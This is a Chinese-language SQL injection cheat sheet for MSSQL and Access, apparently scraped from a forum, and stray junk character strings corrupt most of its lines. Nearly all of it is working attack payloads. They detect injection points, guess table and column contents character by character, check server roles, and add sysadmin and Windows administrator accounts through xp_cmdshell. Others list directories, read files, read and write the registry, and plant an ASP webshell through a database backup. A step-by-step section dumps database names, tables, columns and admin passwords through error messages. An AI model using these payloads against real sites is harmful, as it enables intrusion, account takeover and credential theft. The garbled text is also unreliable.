1.判断是否有注入 1 V8 O- J% u }
;and 1=1
2 ?% z1 n+ ~6 e. P$ ]( F;and 1=2
; D, n8 S# N( P/ B- X( h
$ Z6 R7 q/ s2 ^6 |% ]' m2.初步判断是否是mssql 7 m0 m7 A t7 d% H+ I4 H' n* J
;and user>0 / m r t/ l) F' h
: r* |8 Z! l8 q5 C
3.判断数据库系统 ; `7 g* p, d7 s% ^( b2 s
;and (select count(*) from sysobjects)>0 mssql
- k/ \6 A5 v5 E" M;and (select count(*) from msysobjects)>0 access ; P+ A3 O/ b/ V* Q- l, C$ j
" Z3 m3 O, L3 {- d
4.注入参数是字符 $ v# F8 U. s* h+ b4 ]0 S
'and [查询条件] and ''='
# [+ @. ^& X: ~; T, J- U
, s5 x8 `9 ^: @: w9 q. K5.搜索时没过滤参数的 2 Z3 z& W; V2 I4 |" o! o
'and [查询条件] and '%25'=' 2 ]; ]" e6 y+ `& Q
7 H0 @- r3 i! ]; a/ G% [. j5 T6.猜数表名 1 h% w, B0 Y5 B. E9 H7 |( {! j
;and (select Count(*) from [表名])>0 ( U$ I& l& U% p1 j! p1 e! s p
j8 p( |" R- U# Y, f& _
7.猜字段
; [1 h% r; ?: [2 r1 Y;and (select Count(字段名) from 表名)>0 3 g( Z* k2 g' n V5 q* x
: {5 h% a' y8 c+ }7 u8.猜字段中记录长度
0 y3 T/ U- N% y5 c/ _9 `! A;and (select top 1 len(字段名) from 表名)>0
; u* F8 c8 W4 y) ~) W" ~/ c. G. r3 ]2 {- P9 d1 v! O5 O
9.(1)猜字段的ascii值(access)
9 l* X/ L1 y6 S( W;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 % ] W+ E, B) ~( y! v% @; ?' E# M
. g K }' z4 \1 ^+ D; ~
(2)猜字段的ascii值(mssql)
8 I8 m" b/ r9 R. M# T6 e;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 - f1 u0 v3 _8 g
! W& Q2 R' T$ n0 [
10.测试权限结构(mssql) ; B% C3 `; K9 i0 S" V' z8 \# Q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
" F( c! b4 w1 d6 x) _;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) [! e+ x! z! v- M7 O" S;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
S( R8 S/ `) F0 ]: o# ];and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 6 X: K0 L/ `2 _9 H6 z6 p" F
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
4 e0 U2 m% S& @# J8 j( q;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # U8 u+ [: s \ W
;and 1=(select IS_MEMBER('db_owner'));--
: Z# e+ _5 d# M: M9 m8 E, _& {, h G
: F+ n1 |/ x9 A11.添加mssql和系统的帐户
; C. r% P2 H4 X: |& d;exec master.dbo.sp_addlogin username;-- ( X2 }' H# b9 |( P
;exec master.dbo.sp_password null,username,password;-- - ]& z& I# @+ [) o4 T% u: m
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 X0 s( y5 v; f% A+ d* S
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- d5 g' R) A- ~. [0 ]
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 5 W; E% R: E5 X6 Y7 r, `- v9 R
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- & Q2 z& H$ M c: V
$ C1 b6 M6 l+ ~5 P- W+ O12.(1)遍历目录
! V) @$ L! q' z" u g) ~( k1 z% y;create table dirs(paths varchar(100), id int) . S# X$ M/ X. @4 @7 b
;insert dirs exec master.dbo.xp_dirtree 'c:\'
/ B$ @8 T% f7 @) E3 X;and (select top 1 paths from dirs)>0 / \1 d. v3 r4 }: |! ~
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) " V# p4 R8 y8 v- k) \6 [
, @% i& ~& y W( O
(2)遍历目录 9 [/ l: H# a& c2 b: q4 b& U& |1 o1 q
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- : m9 o9 N9 n# O# n' F" g5 \
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
; W7 p: X4 f X( [7 X;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
G5 E: i* Y/ L( c- K;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 5 v+ s9 r) J" f G) Z) i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
+ f2 p7 q3 N6 K2 j# q
0 }# {) F$ L( q3 {8 J! t( y13.mssql中的存储过程 s) l/ A! K( ]) e% m; k
xp_regenumvalues 注册表根键, 子键
- p7 |5 }$ ?) ] z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 7 }$ c1 p& k. p4 w5 P' T+ a# z9 _5 a: Q
xp_regread 根键,子键,键值名
: a1 V$ Y& ?, s;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % V1 ]3 q# r- U, v2 j
xp_regwrite 根键,子键, 值名, 值类型, 值
! w; ^- ^$ P7 K4 C值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 . ^; q) z" ]# R- b S
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
3 u# `& w9 b& M5 o0 J: Qxp_regdeletevalue 根键,子键,值名 : t" J) v6 h9 K6 M
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值 [' e p1 ^" j# P
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 3 w W. B4 P. T! b/ j
5 c6 f' J0 i0 P+ y& ^. P14.mssql的backup创建webshell 7 s2 o( c$ O% f, _. \8 [) U
use model $ O* R( }3 y; T# D! h
create table cmd(str image);
# n+ z- j3 }2 k1 J! A0 A2 Cinsert into cmd(str) values ('<% Dim oScript %>'); 0 ]1 K* }: x" @; O7 e
backup database model to disk='c:\l.asp';
5 d& V, e3 q. Y. g0 H2 H, E) ~, E; c
15.mssql内置函数 , ~: r: v5 `* J- Y' T
;and (select @@version)>0 获得Windows的版本号
6 {- \9 e+ z2 \( a s;and user_name()='dbo' 判断当前系统的连接用户是不是sa
" x. C# a7 L8 d;and (select user_name())>0 爆当前系统的连接用户 * h/ G" k3 H$ N- M/ l* }5 K" Y; k
;and (select db_name())>0 得到当前连接的数据库 6 c9 e/ l5 F% y4 L, Q, F2 b8 u) i
- ?0 U+ |! l4 C# Z
2 N: v1 L6 Y- |& g _( \' ]3 L* w4 J5 e$ ?0 K, u, ?9 T
MSSQL手注暴库. }5 Z% j! K' @1 c, {" t* {
- r6 @7 F; Q4 g1 @! x/ X6 u; k( o
1.暴出当前表名和列名. e' @+ X0 i6 g4 E) I4 o
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。6 ^3 r4 R! p) y; t% e' n( C' B
n" k- y- p' E* Y2 l, |& _7 ~; R0 \第一.爆出所有数据库名
7 q* w2 R2 y1 V0 h6 u6 z利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。! E# J# |6 b2 U2 Y. B) z+ ^" @
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
& @5 w& F1 ^9 O
/ y( e% h1 G% Z! Cand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
* X( Q8 i# E, N. s& v2 E
) a9 s! L# \! D, d% U# R
4 b; j1 J- p# g2 v; h6 Q第二.爆出指定库中的所有表名4 ^1 ^: \) |8 [5 c
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' W6 e9 B$ |; q5 A/ `# d7 F
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
8 s; t; w; ]5 ?1 P) r; _, _# O( W' Q, n1 R$ X
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--, `& M. p" L$ d: S( [
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
3 d) l1 K3 G6 `% E+ e band 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& C' b# ? F5 o5 w- K3 @8 f
8 S3 d, ~# p) ^3 W4.爆出指定表中的所有列名
6 b6 x5 b0 B% P$ G* W' Rand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) , V, ~- ^/ w; y- n+ p3 q
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'+ S5 {3 v2 O6 B' Q* x2 D
* `0 `8 ]0 C( {+ S' band 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名1 @2 H* o& e0 X/ m! I: @
# l# v2 v: n% _ k+ s
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
4 L6 `6 k1 f% c( }3 i( Y# z依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
- P# _ k( L6 p# R# R
; D1 s! A/ G5 G6 w1 g! F8 ?
9 i- ]1 \" C) Q# t3 Fand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值- S( K. q& b: C0 q* B3 n
5 x0 Q; L& I/ I0 T' m' nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名+ }' U' b5 {& H5 X) z0 ?
0 O+ D/ n7 o* ?4 ?# Nand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- : d6 J0 O9 Z k9 |3 _3 }% s
; V$ b2 M6 y& g$ L$ e5 O+ K B( W, m; T3 r; M
1 a1 |8 I+ L0 L+ j2 o
5.读取指定表中的数据
) O: D0 N. L; f' j
; x. D9 i8 k8 oand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
& g) h" j" J1 }: k# A- x4 }2 `: i# M t' Q/ r) a1 V+ r& g
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--1 N# m0 z- I6 L) E
! n ^* M6 p; ^
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 I4 O3 s4 I2 h# l9 x$ L: m; D
4 j8 ]0 `% y0 h8 D6 V7 N
0 P$ [% R, ~% q. u1 dand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
: T8 W+ w% i6 h4 j, l, `& o
9 T3 ~! W/ r1 F3 g3 F8 Rand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang) U6 W- m' ]" ^5 g# Y
$ G0 {7 K8 d) c" A, S9 P) n, U
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
9 I# Q4 E1 j& a! y& C1 _) p3 C% Y; H. ~
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
" Z! z! k0 @* y |